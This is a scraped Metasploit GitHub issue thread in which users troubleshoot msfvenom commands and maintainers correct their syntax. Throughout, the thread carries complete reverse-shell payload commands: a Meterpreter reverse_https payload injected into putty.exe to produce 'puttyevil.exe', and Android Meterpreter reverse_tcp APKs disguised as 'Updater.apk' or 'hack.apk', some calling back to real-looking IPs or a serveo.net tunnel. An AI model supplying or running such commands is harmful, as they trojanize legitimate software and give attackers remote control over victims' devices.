Closed MohamadSyahrul closed 5 years ago
Remove the option -f exe
.
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload Found 1 compatible encoders Error: Is a directory @ io_fread - / I am getting this error can anybody help me ?
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload Found 1 compatible encoders Error: Is a directory @ io_fread - / I am getting this error can anybody help me ?
Maybe. What commands are you using? Presumably you're incorrectly specifying the path to a directory.
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload Found 1 compatible encoders Error: Is a directory @ io_fread - / I am getting this error can anybody help me ?
Maybe. What commands are you using? Presumably you're incorrectly specifying the path to a directory.
msfvenom -p windows/meterpreter/reverse_https -f exe -e x86/shikata_ga_nai -i 23 -k -x /root/Desktop/putty.exe LHOST=my_ip LPORT=443 > puttyevil.exe 23 -k -x / putty.exe is already downloaded to my desktop
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload Found 1 compatible encoders Error: Is a directory @ io_fread - / I am getting this error can anybody help me ?
Maybe. What commands are you using? Presumably you're incorrectly specifying the path to a directory.
msfvenom -p windows/meterpreter/reverse_https -f exe -e x86/shikata_ga_nai -i 23 -k -x /root/Desktop/putty.exe LHOST=my_ip LPORT=443 > puttyevil.exe 23 -k -x / putty.exe is already downloaded to my desktop
You've specified -x
twice. msfvenom
is using the second argument /
, trying to use the root directory /
as a template executable file, and failing.
# ./msfvenom --help
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: ./msfvenom [options] <var=val>
Example: ./msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe
Options:
-l, --list <type> List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all
-p, --payload <payload> Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom
--list-options List --payload <value>'s standard, advanced and evasion options
-f, --format <format> Output format (use --list formats to list)
-e, --encoder <encoder> The encoder to use (use --list encoders to list)
--sec-name <value> The new section name to use when generating large Windows binaries. Default: random 4-character alpha string
--smallest Generate the smallest possible payload using all available encoders
--encrypt <value> The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)
--encrypt-key <value> A key to be used for --encrypt
--encrypt-iv <value> An initialization vector for --encrypt
-a, --arch <arch> The architecture to use for --payload and --encoders (use --list archs to list)
--platform <platform> The platform for --payload (use --list platforms to list)
-o, --out <path> Save the payload to a file
-b, --bad-chars <list> Characters to avoid example: '\x00\xff'
-n, --nopsled <length> Prepend a nopsled of [length] size on to the payload
--pad-nops Use nopsled size specified by -n <length> as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length)
-s, --space <length> The maximum size of the resulting payload
--encoder-space <length> The maximum size of the encoded payload (defaults to the -s value)
-i, --iterations <count> The number of times to encode the payload
-c, --add-code <path> Specify an additional win32 shellcode file to include
-x, --template <path> Specify a custom executable file to use as a template
-k, --keep Preserve the --template behaviour and inject the payload as a new thread
-v, --var-name <value> Specify a custom variable name to use for certain output formats
-t, --timeout <second> The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)
-h, --help Show this message
No arch selected, selecting arch: dalvik from the payload No encoder specified, outputting raw payload
Solve this problem.
No arch selected, selecting arch: dalvik from the payload No encoder specified, outputting raw payload
Solve this problem.
The Metasploit issue tracker is for tracking issues with Metasploit. Perhaps someone on IRC or Slack can help you out with your question:
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload [-] No arch selected, selecting arch: dalvik from the payload No encoder specified, outputting raw payload Payload size: 10192 bytes Error: Permission denied @ rb_sysopen - /sdcard/Backdoor.apk
@RUDIANT0 this issue was resolved. Please don't post to a closed issue. It would be helpful if you posted the actual command used. It's hard to guess what you typed. Lastly, it clearly states Permission denied when trying to write the output file. This is not a metasploit problem, it's file system issue. Try writing to a location you have permission to. Lastly, based on the output, I assume you're using termux, which isn't supported. Please ask termux for help not metasploit. However I don't think you'll need to, just find a writable location on the file system!
No platform was selected, choosing Msf::Module::Platform::Android from the payload [-] No arch selected, selecting arch: dalvik from the payload Error: One or more options failed to validate: LHOST Помогите пожалуйста
$ msfvenom -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=1234 R > storage/downloads/Updater.apk bash: storage/downloads/Updater.apk: Not a directory Please give me any solution
$ msfvenom -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=1234 R > storage/downloads/Updater.apk bash: storage/downloads/Updater.apk: Not a directory Please give me any solution
storage/downloads/Updater.apk
is not a directory. Did you mean /storage/downloads/Updater.apk
?
I don't know how to create a payload in metasplot, termux in android
On Fri 20 Aug, 2021, 9:47 AM bcoles, @.***> wrote:
$ msfvenom -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=1234 R
storage/downloads/Updater.apk bash: storage/downloads/Updater.apk: Not a directory Please give me any solution
storage/downloads/Updater.apk is not a directory. Did you mean /storage/downloads/Updater.apk ?
— You are receiving this because you commented. Reply to this email directly, view it on GitHub https://github.com/rapid7/metasploit-framework/issues/11825#issuecomment-902417994, or unsubscribe https://github.com/notifications/unsubscribe-auth/AVIZ6J6VDSLICYV7VY7IKQLT5XJNTANCNFSM4HLR4UOA . Triage notifications on the go with GitHub Mobile for iOS https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675 or Android https://play.google.com/store/apps/details?id=com.github.android&utm_campaign=notification-email .
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.43.95 LPORT+4444 R > hack.apk [-] No platform was selected, choosing Msf::Module::Platform::Android from the payload [-] No arch selected, selecting arch: dalvik from the payload No encoder specified, outputting raw payload Payload size: 10191 bytes
please halp me anyone
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.43.95 LPORT+4444 R > hack.apk [-] No platform was selected, choosing Msf::Module::Platform::Android from the payload [-] No arch selected, selecting arch: dalvik from the payload No encoder specified, outputting raw payload Payload size: 10191 bytes
please halp me anyone
what is the problem
msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.8.156 lport=444 -f exe >apptesting.exe
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
No encoder specified, outputting raw payload
Payload size: 10189 bytes
Error: The payload could not be generated, check options
why this command failed? please help me
Remove the option -f exe
.
Thanks a lot.
On Sat 25 Sep, 2021, 2:43 PM Tim, @.***> wrote:
Remove the option -f exe.
— You are receiving this because you commented. Reply to this email directly, view it on GitHub https://github.com/rapid7/metasploit-framework/issues/11825#issuecomment-927092922, or unsubscribe https://github.com/notifications/unsubscribe-auth/AVIZ6JY2PJXMMPF2G5LBG3LUDWHEVANCNFSM4HLR4UOA . Triage notifications on the go with GitHub Mobile for iOS https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675 or Android https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub.
ruby msfvenom -p android/meterpreter/reverse_tcp LHOST= 102.45.187.189 LPORT= 4444 -o /sdcard/MANDO.apk [*] exec: ruby msfvenom -p android/meterpreter/reverse_tcp LHOST= 102.45.187.189 LPORT= 4444 -o /sdcard/MANDO.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload [-] No arch selected, selecting arch: dalvik from the payload Error: One or more options failed to validate: LHOST, LPORT. What do I do about this?
One or more options failed to validate: LHOST, LPORT. What do I do about this?
Set a correct LHOST
and LPORT
. Remove the spaces from your command:
LHOST=102.45.187.189
LPORT=4444
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload [-] No arch selected, selecting arch: dalvik from the payload No encoder specified, outputting raw payload Payload size: 10186 bytes
What should I do? Can anyone help?
My order is: msfvenom -p android/meterpreter/reverse_tcp LHOST=serveo.net LPORT=4564 R
storage/downloads/Updater.apk
\
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload [-] No arch selected, selecting arch: dalvik from the payload No encoder specified, outputting raw payload Payload size: 10186 bytes
What should I do? Can anyone help?
My order is: msfvenom -p android/meterpreter/reverse_tcp LHOST=serveo.net LPORT=4564 R
storage/downloads/Updater.apk
The command worked as intended.
The repository 'https://grimler.se/science-packages-24 science InRelease' is not signed. N: Metadata integrity can't be verified, repository is disabled now. N: Possible cause: repository is under maintenance or down (wrong sources.list URL?).
Solve this problem.
On Tue, Jan 25, 2022, 10:16 PM bcoles @.***> wrote:
\
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload [-] No arch selected, selecting arch: dalvik from the payload No encoder specified, outputting raw payload Payload size: 10186 bytes
What should I do? Can anyone help?
My order is: msfvenom -p android/meterpreter/reverse_tcp LHOST=serveo.net LPORT=4564 R
storage/downloads/Updater.apk
The command worked as intended.
— Reply to this email directly, view it on GitHub https://github.com/rapid7/metasploit-framework/issues/11825#issuecomment-1021356258, or unsubscribe https://github.com/notifications/unsubscribe-auth/AMYUYYTSAZ7YG6HFNSIBTLTUX3EFJANCNFSM4HLR4UOA . Triage notifications on the go with GitHub Mobile for iOS https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675 or Android https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub.
You are receiving this because you commented.Message ID: @.***>
This thread has gone off the rails. Locking.
The Metasploit issue tracker is for tracking issues with Metasploit.
If you have an issue, create a new issue and be sure to provide all necessary information in the issue template.
If you have a question, try Slack: https://www.metasploit.com/help
why this command failed ???